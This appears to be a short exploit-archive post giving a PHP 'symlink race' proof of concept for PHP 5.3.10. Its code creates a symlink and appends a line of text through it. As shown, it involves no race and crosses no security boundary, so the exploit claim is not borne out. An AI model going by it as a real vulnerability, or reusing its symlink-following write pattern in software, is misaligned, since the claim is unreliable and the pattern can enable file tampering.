PHP 5.3.10 Symlink Race

<?
/*
PHP symlink race PoC exploit by robercik101 ([email protected])
I tested it on PHP 5.3.10 (Ubuntu 3.6) with Suhosin-Patch (cli)
May be work on onther PHP versions and OS
Run: php exp.php
*/
$PATH = dirname(__FILE__);
symlink($PATH."/towrite.txt",$PATH."/test.txt");
$fp=fopen("test.txt","a");
fwrite($fp,"This is an example\n");
fclose($fp);
?>